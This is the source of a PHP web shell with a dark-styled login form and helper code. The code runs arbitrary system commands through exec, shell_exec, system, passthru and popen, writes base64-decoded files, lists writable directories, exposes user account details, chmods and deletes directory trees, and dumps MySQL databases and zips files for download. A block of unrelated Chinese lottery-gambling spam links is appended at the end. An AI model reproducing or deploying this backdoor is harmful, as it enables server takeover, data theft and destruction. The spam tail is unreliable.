"May", "June", "July", "August", "September", "October", "November", "December" ];var dayNames= ["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"] // Tao moi doi tuong Date()var newDate = new Date();// Lay gia tri thoi gian hien tainewDate.setDate(newDate.getDate());// Xuat ngay thang, nam$('#Date').html(dayNames[newDate.getDay()] + " " + newDate.getDate() + ' ' + monthNames[newDate.getMonth()] + ' ' + newDate.getFullYear()); setInterval( function() {    // lay gia tri giay trong doi tuong Date()    var seconds = new Date().getSeconds();    // Chen so 0 vao dang truoc gia tri giay    $("#sec").html(( seconds < 10 ? "0" : "" ) + seconds);    },1000); setInterval( function() {    // Tuong tu lay gia tri phut    var minutes = new Date().getMinutes();    // Chen so 0 vao dang truoc gia tri phut neu gia tri hien tai nho hon 10    $("#min").html(( minutes < 10 ? "0" : "" ) + minutes);    },1000); setInterval( function() {    // Lay gia tri gio hien tai    var hours = new Date().getHours();    // Chen so 0 vao truoc gia tri gio neu gia tri nho hon 10    $("#hours").html(( hours < 10 ? "0" : "" ) + hours);    }, 1000);});</script><div align="center">	<div>	<form method="POST" action="" class="form-3">	 <p class="clearfix">        <label for="login">Username</label>        <input type="text" placeholder="Username">    </p>    <p class="clearfix">		<label for="password">Password</label>        <input type="password" name="password" id="password" placeholder="Password">		<input type="hidden" name="doing" value="login">		 <input type="submit" name="submit" value="ShinJj">	</p>		</form>	<br>	</font></div>	</font></div>	<style>	/* GLOBALS */ *,*:after,*:before {    -webkit-box-sizing: border-box;    -moz-box-sizing: border-box;    -ms-box-sizing: border-box;    -o-box-sizing: border-box;    box-sizing: border-box;    padding: 0;    margin: 0;} .clearfix:after {    content: "";    display: table;    clear: both;} .form-3 {    font-family: 'Ubuntu', 'Lato', sans-serif;    font-weight: 400;    /* Size and position */    width: 300px;    position: relative;    margin: 60px auto 30px;    padding: 10px;    overflow: hidden;     /* Styles */    background: #111;    border-radius: 0.4em;    border: 1px solid #191919;    box-shadow:        inset 0 0 2px 1px rgba(255,255,255,0.08),        0 16px 10px -8px rgba(0, 0, 0, 0.6);} .form-3 label {    /* Size and position */    width: 50%;    float: left;    padding-top: 9px;     /* Styles */    color: #ddd;    font-size: 12px;    text-transform: uppercase;    letter-spacing: 1px;    text-shadow: 0 1px 0 #000;    text-indent: 10px;    font-weight: 700;    cursor: pointer;} .form-3 input[type=text],.form-3 input[type=password] {    /* Size and position */    width: 50%;    float: left;    padding: 8px 5px;    margin-bottom: 10px;    font-size: 12px;     /* Styles */    background: linear-gradient(#1f2124, #27292c);    border: 1px solid #000;    box-shadow:        0 1px 0 rgba(255,255,255,0.1);    border-radius: 3px;     /* Font styles */    font-family: 'Ubuntu', 'Lato', sans-serif;    color: #fff; } .form-3 input[type=text]:hover,.form-3 input[type=password]:hover,.form-3 label:hover ~ input[type=text],.form-3 label:hover ~ input[type=password] {    background: #27292c;} .form-3 input[type=text]:focus,.form-3 input[type=password]:focus {    box-shadow: inset 0 0 2px #000;    background: #494d54;    border-color: #51cbee;    outline: none; /* Remove Chrome outline */} .form-3 p:nth-child(3),.form-3 p:nth-child(4) {    float: left;    width: 50%;} .form-3 label[for=remember] {    width: auto;    float: none;    display: inline-block;    text-transform: capitalize;    font-size: 11px;    font-weight: 400;    letter-spacing: 0px;    text-indent: 2px;} .form-3 input[type=checkbox] {    margin-left: 10px;    vertical-align: middle;} .form-3 input[type=submit] {    /* Width and position */    width: 100%;    padding: 8px 5px;     /* Styles */    border: 1px solid #0273dd; /* Fallback */    border: 1px solid rgba(0,0,0,0.4);    box-shadow:        inset 0 1px 0 rgba(255,255,255,0.3),        inset 0 10px 10px rgba(255,255,255,0.1);    border-radius: 3px;    background: #38a6f0;    cursor:pointer;     /* Font styles */    font-family: 'Ubuntu', 'Lato', sans-serif;    color: white;    font-weight: 700;    font-size: 15px;    text-shadow: 0 -1px 0 rgba(0,0,0,0.8);} .form-3 input[type=submit]:hover {    box-shadow: inset 0 1px 0 rgba(255,255,255,0.6);} .form-3 input[type=submit]:active {    background: #287db5;    box-shadow: inset 0 0 3px rgba(0,0,0,0.6);    border-color: #000; /* Fallback */    border-color: rgba(0,0,0,0.9);} .no-boxshadow .form-3 input[type=submit]:hover {    background: #2a92d8;} /* Gradient line */.form-3:after {    /* Size and position */    content: "";    height: 1px;    width: 33%;    position: absolute;    left: 20%;    top: 0;     /* Styles */    background: linear-gradient(left, transparent, #444, #b6b6b8, #444, transparent);} /* Small flash */.form-3:before {    /* Size and position */    content: "";    width: 8px;    height: 5px;    position: absolute;    left: 34%;    top: -7px;     /* Styles */    border-radius: 50%;    box-shadow: 0 0 6px 4px #fff;} .form-3 p:nth-child(1):before{    /* Size and position */    content: "";    width: 250px;    height: 100px;    position: absolute;    top: 0;    left: 45px;     /* Styles */    transform: rotate(75deg);    background: linear-gradient(50deg, rgba(255,255,255,0.15), rgba(0,0,0,0));    pointer-events: none;} .no-pointerevents .form-3 p:nth-child(1):before {    display: none;}</style><aside class="container">  <input type="checkbox" id="menu__trigger">  <section class="menu">    <!--<label for="menu__trigger" class="entypo-cancel"></label>-->    <nav>      <a href="https://www.facebook.com/profile.php?id=100011074965700">1. Facebook</a>      <a href="https://www.facebook.com/profile.php?id=100011074965700">2. Clone</a>      <a href="http://google.com">3. Website</a>      <a href="https://www.youtube.com/channel/UCiQ9ZT6xuvtRQDKfzHRrehQ">4. Youtube</a>	  <a href="https://google.com">5. Google</a>      <a href="/">6. Trang ch&#7911;</a>    </nav>  </section>     <section class="content">    <label for="menu__trigger" class="entypo-menu"></label>  </section></aside><style>[class*="entypo-"]:before {  font-family: 'entypo', sans-serif;}[class*="entypo-"]:before {  font-family: 'entypo', sans-serif;} html {  min-height: 100%;  min-width: 100%;}html body {  min-height: 100%;  min-width: 100%;  font-family: 'Lato', sans-serif;}html body input[type="checkbox"] {  position: absolute;  height: 0;  width: 0;  display: none;}html body input[type="checkbox"]:checked ~ .menu nav a {  -webkit-transform: translate3d(0px, 0, 0) rotateY(0deg);  transform: translate3d(0px, 0, 0) rotateY(0deg);  -webkite-transform-style: preserve-3d;  transform-style: preserve-3d;  -webkit-transition: all .4s ease-in-out;  transition: all .4s ease-in-out;  background: #252525;  color: #fff;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(2) {  -webkit-transition-delay: .1s;  transition-delay: .1s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(3) {  -webkit-transition-delay: .2s;  transition-delay: .2s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(4) {  -webkit-transition-delay: .3s;  transition-delay: 0.3s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(5) {  -webkit-transition-delay: .4s;  transition-delay: .4s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(6) {  -webkit-transition-delay: .5s;  transition-delay: 0.5s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(7) {  -webkit-transition-delay: .6s;  transition-delay: 0.6s;}html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(8) {  -webkit-transition-delay: .7s;  transition-delay: 0.7s;}html body section.menu {  position: fixed;  z-index: 10;  top: 0;  bottom: 0;  min-height: 100%;}html body section.menu nav {  padding-top: 4rem;  -webkit-perspective: 20rem;  perspective: 20rem;}html body section.menu nav a {  display: block;  width: 12rem;  padding: 1.25rem 0rem 1.25rem 1.75rem;  background: #222;  border-bottom: 1px solid #2a2a2a;  box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.15), inset 2px 0 0 #fff;  color: #fff;  letter-spacing: 1.5px;  font-weight: 300;  font-size: 1.25rem;  text-decoration: none;  -webkit-transform: translate3d(-100%, 0, 0) rotateY(90deg);  transform: translate3d(-100%, 0, 0) rotateY(90deg);  -webkit-transform-origin: 0% 50%;  transform-origin: 0% 50%;  -webkit-transform-style: preserve-3d;  transform-style: preserve-3d;  -webkit-transition: all .25s ease-in-out;  transition: all .25s ease-in-out;}html body section.menu nav a:nth-child(1) {  -webkit-transition-delay: .235s;  transition-delay: .235s;}html body section.menu nav a:nth-child(2) {  -webkit-transition-delay: .2s;  transition-delay: .2s;}html body section.menu nav a:nth-child(3) {  -webkit-transition-delay: .165s;  transition-delay: .165s;}html body section.menu nav a:nth-child(4) {  -webkit-transition-delay: .13s;  transition-delay: .13s;}html body section.menu nav a:nth-child(5) {  -webkit-transition-delay: .095s;  transition-delay: .095s;}html body section.menu nav a:nth-child(6) {  -webkit-transition-delay: .06s;  transition-delay: .06s;}html body section.menu nav a:nth-child(7) {  -webkit-transition-delay: .25s;  transition-delay: .025s;}html body section.content label {  position: fixed;  z-index: 1000;  padding: 1rem 1.5rem;  background: #222;  font-size: 2rem;  line-height: 2rem;  color: #fff;  cursor: pointer;}html body section.content h1 {  display: table-cell;  vertical-align: middle;  text-align: center;  font-size: 3rem;  letter-spacing: 1px;  color: #fff;}</style><style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/smilies/smi-3/smi211.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2011/10/13/trollface-problem-coolface-rage-face-comics.html" target="_blank" title="Trollface / Problem? / Coolface  - Rage Face Comics"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Trollface / Problem? / Coolface  - Rage Face Comics" style="position:absolute; top: 0px; right: 0px;" /></a><BR><?phpecho "".$err_mess."";?></div>	</fieldset></head></html><?php	exit;}//end loginpagefunction execute($cfe) {	$res = '';	if ($cfe) {		if(function_exists('exec')) {			@exec($cfe,$res);			$res = join("\n",$res);		} elseif(function_exists('shell_exec')) {			$res = @shell_exec($cfe);		} elseif(function_exists('system')) {			@ob_start();			@system($cfe);			$res = @ob_get_contents();			@ob_end_clean();		} elseif(function_exists('passthru')) {			@ob_start();			@passthru($cfe);			$res = @ob_get_contents();			@ob_end_clean();		} elseif(@is_resource($f = @popen($cfe,"r"))) {			$res = '';			while([email protected]($f)) {				$res .= @fread($f,1024);			}			@pclose($f);		}	}	return $res;}function which($pr) {	$path = execute("which $pr");	return ($path ? $path : $pr);}function cf($fname,$text){	if([email protected]($fname,'w')) {		@fputs($fp,@base64_decode($text));		@fclose($fp);	}}// Debugfunction debuginfo() {	global $starttime;	$mtime = explode(' ', microtime());	$totaltime = number_(($mtime[1] + $mtime[0] - $starttime), 6);	echo 'Processed in '.$totaltime.' second(s)';}// Function connect databasefunction dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {	if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {		p('<h2>Can not connect to MySQL server</h2>');		exit;	}	if($link && $dbname) {		if ([email protected]_select_db($dbname, $link)) {			p('<h2>Database selected has error</h2>');			exit;		}	}	if($link && mysql_get_server_info() > '4.1') {		if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {			q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);		}	}	return $link;}// Array stripfunction s_array(&$array) {	if (is_array($array)) {		foreach ($array as $k => $v) {			$array[$k] = s_array($v);		}	} else if (is_string($array)) {		$array = stripslashes($array);	}	return $array;}// HTML Stripfunction html_clean($content) {	$content = htmlspecialchars($content);	$content = str_replace("\n", "<br />", $content);	$content = str_replace("  ", "&nbsp;&nbsp;", $content);	$content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);	return $content;}// Chmodfunction getChmod($filepath){	return substr(base_convert(@fileperms($filepath),10,8),-4);}function getPerms($filepath) {	$mode = @fileperms($filepath);	if (($mode & 0xC000) === 0xC000) {$type = 's';}	elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}	elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}	elseif (($mode & 0x8000) === 0x8000) {$type = '-';}	elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}	elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}	elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}	else {$type = '?';}	$owner['read'] = ($mode & 00400) ? 'r' : '-';	$owner['write'] = ($mode & 00200) ? 'w' : '-';	$owner['execute'] = ($mode & 00100) ? 'x' : '-';	$group['read'] = ($mode & 00040) ? 'r' : '-';	$group['write'] = ($mode & 00020) ? 'w' : '-';	$group['execute'] = ($mode & 00010) ? 'x' : '-';	$world['read'] = ($mode & 00004) ? 'r' : '-';	$world['write'] = ($mode & 00002) ? 'w' : '-';	$world['execute'] = ($mode & 00001) ? 'x' : '-';	if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}	if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}	if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}	return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];}function getUser($filepath)	{	if (function_exists('posix_getpwuid')) {		$array = @posix_getpwuid(@fileowner($filepath));		if ($array && is_array($array)) {			return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';		}	}	return '';}// Delete dirfunction deltree($deldir) {	[email protected]($deldir);	while($file=$mydir->read())	{		if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {			@chmod($deldir.'/'.$file,0777);			deltree($deldir.'/'.$file);		}		if (is_file($deldir.'/'.$file)) {			@chmod($deldir.'/'.$file,0777);			@unlink($deldir.'/'.$file);		}	}	$mydir->close();	@chmod($deldir,0777);	return @rmdir($deldir) ? 1 : 0;}// Backgroundfunction bg() {	global $bgc;	return ($bgc++%2==0) ? 'alt1' : 'alt2';}// Get pathfunction getPath($scriptpath, $nowpath) {	if ($nowpath == '.') {		$nowpath = $scriptpath;	}	$nowpath = str_replace('\\', '/', $nowpath);	$nowpath = str_replace('//', '/', $nowpath);	if (substr($nowpath, -1) != '/') {		$nowpath = $nowpath.'/';	}	return $nowpath;}// Get up pathfunction getUpPath($nowpath) {	$pathdb = explode('/', $nowpath);	$num = count($pathdb);	if ($num > 2) {		unset($pathdb[$num-1],$pathdb[$num-2]);	}	$uppath = implode('/', $pathdb).'/';	$uppath = str_replace('//', '/', $uppath);	return $uppath;}// Configfunction getcfg($varname) {	$result = get_cfg_var($varname);	if ($result == 0) {		return 'No';	} elseif ($result == 1) {		return 'Yes';	} else {		return $result;	}}// Function namefunction getfun($funName) {	return (false !== function_exists($funName)) ? 'Yes' : 'No';}function GetList($dir){	global $dirdata,$j,$nowpath;	!$j && $j=1;	if ($dh = opendir($dir)) {		while ($file = readdir($dh)) {			$f=str_replace('//','/',$dir.'/'.$file);			if($file!='.' && $file!='..' && is_dir($f)){				if (is_writable($f)) {					$dirdata[$j]['filename']=str_replace($nowpath,'',$f);					$dirdata[$j]['mtime'][email protected]('Y-m-d H:i:s',filemtime($f));					$dirdata[$j]['dirchmod']=getChmod($f);					$dirdata[$j]['dirperm']=getPerms($f);					$dirdata[$j]['dirlink']=ue($dir);					$dirdata[$j]['server_link']=$f;					$dirdata[$j]['client_link']=ue($f);					$j++;				}				GetList($f);			}		}		closedir($dh);		clearstatcache();		return $dirdata;	} else {		return array();	}}function qy($sql) {	//echo $sql.'<br>';	$res = $error = '';	if(!$res = @mysql_query($sql)) {		return 0;	} else if(is_resource($res)) {		return 1;	} else {		return 2;	}	return 0;}function q($sql) {	return @mysql_query($sql);}function fr($qy){	mysql_free_result($qy);}function sizecount($size) {	if($size > 1073741824) {		$size = round($size / 1073741824 * 100) / 100 . ' G';	} elseif($size > 1048576) {		$size = round($size / 1048576 * 100) / 100 . ' M';	} elseif($size > 1024) {		$size = round($size / 1024 * 100) / 100 . ' K';	} else {		$size = $size . ' B';	}	return $size;}// Zipclass PHPZip{	var $out='';	function PHPZip($dir)	{		if (@function_exists('gzcompress'))	{			$curdir = getcwd();			if (is_array($dir)) $filelist = $dir;			else{				$filelist=$this -> GetFileList($dir);//File list				foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);			}			if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);			else chdir($curdir);			if (count($filelist)>0){				foreach($filelist as $filename){					if (is_file($filename)){						$fd = fopen ($filename, 'r');						$content = @fread ($fd, filesize($filename));						fclose ($fd);						if (is_array($dir)) $filename = basename($filename);						$this -> addFile($content, $filename);					}				}				$this->out = $this -> file();				chdir($curdir);			}			return 1;		}		else return 0;	}	// Show file list	function GetFileList($dir){		static $a;		if (is_dir($dir)) {			if ($dh = opendir($dir)) {				while ($file = readdir($dh)) {					if($file!='.' && $file!='..'){						$f=$dir .'/'. $file;						if(is_dir($f)) $this->GetFileList($f);						$a[]=$f;					}				}				closedir($dh);			}		}		return $a;	}	var $datasec      = array();	var $ctrl_dir     = array();	var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";	var $old_offset   = 0;	function unix2DosTime($unixtime = 0) {		$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);		if ($timearray['year'] < 1980) {			$timearray['year']    = 1980;			$timearray['mon']     = 1;			$timearray['mday']    = 1;			$timearray['hours']   = 0;			$timearray['minutes'] = 0;			$timearray['seconds'] = 0;		} // end if		return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |				($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);	}	function addFile($data, $name, $time = 0) {		$name = str_replace('\\', '/', $name);		$dtime = dechex($this->unix2DosTime($time));		$hexdtime	= '\x' . $dtime[6] . $dtime[7]					. '\x' . $dtime[4] . $dtime[5]					. '\x' . $dtime[2] . $dtime[3]					. '\x' . $dtime[0] . $dtime[1];		eval('$hexdtime = "' . $hexdtime . '";');		$fr	= "\x50\x4b\x03\x04";		$fr	.= "\x14\x00";		$fr	.= "\x00\x00";		$fr	.= "\x08\x00";		$fr	.= $hexdtime;		$unc_len = strlen($data);		$crc = crc32($data);		$zdata = gzcompress($data);		$c_len = strlen($zdata);		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);		$fr .= pack('V', $crc);		$fr .= pack('V', $c_len);		$fr .= pack('V', $unc_len);		$fr .= pack('v', strlen($name));		$fr .= pack('v', 0);		$fr .= $name;		$fr .= $zdata;		$fr .= pack('V', $crc);		$fr .= pack('V', $c_len);		$fr .= pack('V', $unc_len);		$this -> datasec[] = $fr;		$new_offset = strlen(implode('', $this->datasec));		$cdrec = "\x50\x4b\x01\x02";		$cdrec .= "\x00\x00";		$cdrec .= "\x14\x00";		$cdrec .= "\x00\x00";		$cdrec .= "\x08\x00";		$cdrec .= $hexdtime;		$cdrec .= pack('V', $crc);		$cdrec .= pack('V', $c_len);		$cdrec .= pack('V', $unc_len);		$cdrec .= pack('v', strlen($name) );		$cdrec .= pack('v', 0 );		$cdrec .= pack('v', 0 );		$cdrec .= pack('v', 0 );		$cdrec .= pack('v', 0 );		$cdrec .= pack('V', 32 );		$cdrec .= pack('V', $this -> old_offset );		$this -> old_offset = $new_offset;		$cdrec .= $name;		$this -> ctrl_dir[] = $cdrec;	}	function file() {		$data    = implode('', $this -> datasec);		$ctrldir = implode('', $this -> ctrl_dir);		return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .	pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";	}}// Dump mysqlfunction sqldumptable($table, $fp=0) {	$tabledump = "DROP TABLE IF EXISTS $table;\n";	$tabledump .= "CREATE TABLE $table (\n";	$firstfield=1;	$fields = q("SHOW FIELDS FROM $table");	while ($field = mysql_fetch_array($fields)) {		if (!$firstfield) {			$tabledump .= ",\n";		} else {			$firstfield=0;		}		$tabledump .= "   $field[Field] $field[Type]";		if (!empty($field["Default"])) {			$tabledump .= " DEFAULT '$field[Default]'";		}		if ($field['Null'] != "YES") {			$tabledump .= " NOT NULL";		}		if ($field['Extra'] != "") {			$tabledump .= " $field[Extra]";		}	}	fr($fields);	$keys = q("SHOW KEYS FROM $table");	while ($key = mysql_fetch_array($keys)) {		$kname=$key['Key_name'];		if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {			$kname="UNIQUE|$kname";		}		if(!is_array($index[$kname])) {			$index[$kname] = array();		}		$index[$kname][] = $key['Column_name'];	}	fr($keys);	while(list($kname, $columns) = @each($index)) {		$tabledump .= ",\n";		$colnames=implode($columns,",");		if ($kname == "PRIMARY") {			$tabledump .= "   PRIMARY KEY ($colnames)";		} else {			if (substr($kname,0,6) == "UNIQUE") {				$kname=substr($kname,7);			}			$tabledump .= "   KEY $kname ($colnames)";		}	}	$tabledump .= "\n);\n\n";	if ($fp) {		fwrite($fp,$tabledump);	} else {		echo $tabledump;	}	$rows = q("SELECT * FROM $table");	$numfields = mysql_num_fields($rows);	while ($row = mysql_fetch_array($rows)) {		$tabledump = "INSERT INTO $table VALUES(";		$fieldcounter=-1;		$firstfield=1;		while (++$fieldcounter<$numfields) {			if (!$firstfield) {				$tabledump.=", ";			} else {				$firstfield=0;			}			if (!isset($row[$fieldcounter])) {				$tabledump .= "NULL";			} else {				$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";			}		}		$tabledump .= ");\n";		if ($fp) {			fwrite($fp,$tabledump);		} else {			echo $tabledump;		}	}	fr($rows);	if ($fp) {		fwrite($fp,"\n");	} else {		echo "\n";	}}function ue($str){	return urlencode($str);}function p($str){	echo $str."\n";}function tbhead() {	p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');}function tbfoot(){	p('</table>');}function makehide($name,$value=''){	p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");}function makeinput($arg = array()){	$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";	$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';	!$arg['type'] && $arg['type'] = 'text';	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';	$arg['class'] = $arg['class'] ? $arg['class'] : 'input';	if ($arg['newline']) {		p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");	} else {		p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");	}}function makeselect($arg = array()){	if ($arg['onchange']) {		$onchange = 'onchange="'.$arg['onchange'].'"';	}	$arg['title'] = $arg['title'] ? $arg['title'] : '';	if ($arg['newline']) p('<p>');	p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");		if (is_array($arg['option'])) {			foreach ($arg['option'] as $key=>$value) {				if ($arg['selected']==$key) {					p("<option value=\"$key\" selected>$value</option>");				} else {					p("<option value=\"$key\">$value</option>");				}			}		}	p("</select>");	if ($arg['newline']) p('</p>');}function formhead($arg = array()) {	!$arg['method'] && $arg['method'] = 'post';	!$arg['action'] && $arg['action'] = $self;	$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';	!$arg['name'] && $arg['name'] = 'form1';	p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");	if ($arg['title']) {		p('<h2>'.$arg['title'].' &raquo;</h2>');	}}function maketext($arg = array()){	!$arg['cols'] && $arg['cols'] = 100;	!$arg['rows'] && $arg['rows'] = 25;	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';	p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");}function formfooter($name = ''){	!$name && $name = 'submit';	p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');	p('</form>');}function formfoot(){	p('</form>');}// Exitfunction pr($a) {	echo '<pre>';	print_r($a);	echo '</pre>';}?>


友情链接:幸运飞艇开奖视频直播  幸运飞艇官网现场直播  幸运飞艇直播开奖  幸运飞艇开奖时间官网  2017幸运飞艇开奖记录  幸运飞艇开奖视频直播  幸运飞艇彩票是哪里的  1396cp幸运飞艇直播  幸运飞艇直播网站  幸运飞艇计划软件免费  pk10  幸运飞艇开奖走势图表  幸运飞艇直播开奖地址  幸运飞艇是全国统一的吗  手机幸运飞艇开奖记录  幸运飞艇有没有官网  幸运飞艇微信群官网  我买幸运飞艇压大就虚假的很  幸运飞艇直播交流  幸运飞艇投注平台app  pk10开奖记录  幸运飞艇漏洞  幸运飞艇官网投注  幸运飞艇赛车开奖结果  幸运飞艇几点结束  幸运飞艇走势图  幸运飞艇现场直播  幸运飞艇视频直播下载  幸运飞艇直播网报  幸运飞艇属于官网么  幸运飞艇官网合法吗  幸运飞艇直播开奖  幸运飞艇直播  2017幸运飞艇直播9码  幸运飞艇开奖记录官网  幸运飞艇图标  幸运飞艇  幸运飞艇手机直播  幸运飞艇官网yct128  幸运飞艇总是输  pk10开奖记录  pk10  幸运飞艇追长龙输死人  幸运飞艇是骗人  幸运飞艇直播万喜彩票网wx789  幸运飞艇车开奖记录  幸运飞艇官网彩票网  幸运飞艇app官网下载  幸运飞艇是黑彩么  幸运飞艇每天开几期  幸运飞艇大圣归来群  幸运飞艇计划软件免费  幸运飞艇交流群  幸运飞艇官网首选京彩  幸运飞艇开到几点结束  幸运飞艇官方开奖网站  幸运飞艇是合法的吗  幸运飞艇福彩官网投注  幸运飞艇几点结束  pk10  玩幸运飞艇输了几十万  幸运飞艇福彩官网投注  幸运飞艇手机直播  幸运飞艇手机现场直播  幸运飞艇官网首选京彩  幸运飞艇官网现场直播  幸运飞艇官网历史记录  幸运飞艇开奖结果记录  幸运飞艇几分钟开一次  幸运飞艇输得想死  幸运飞艇直播网址  幸运飞艇官网彩票网  幸运飞艇开到几点  2017幸运飞艇直播  幸运飞艇是全国统一的吗  51幸运飞艇开奖结果  幸运飞艇什么时候开盘  幸运飞艇有漏洞嘛  幸运飞艇有漏洞吗  幸运飞艇直播万喜彩票网wx789  

免责声明: 本站资料及图片来源互联网文章,本网不承担任何由内容信息所引起的争议和法律责任。所有作品版权归原创作者所有,与本站立场无关,如用户分享不慎侵犯了您的权益,请联系我们告知,我们将做删除处理!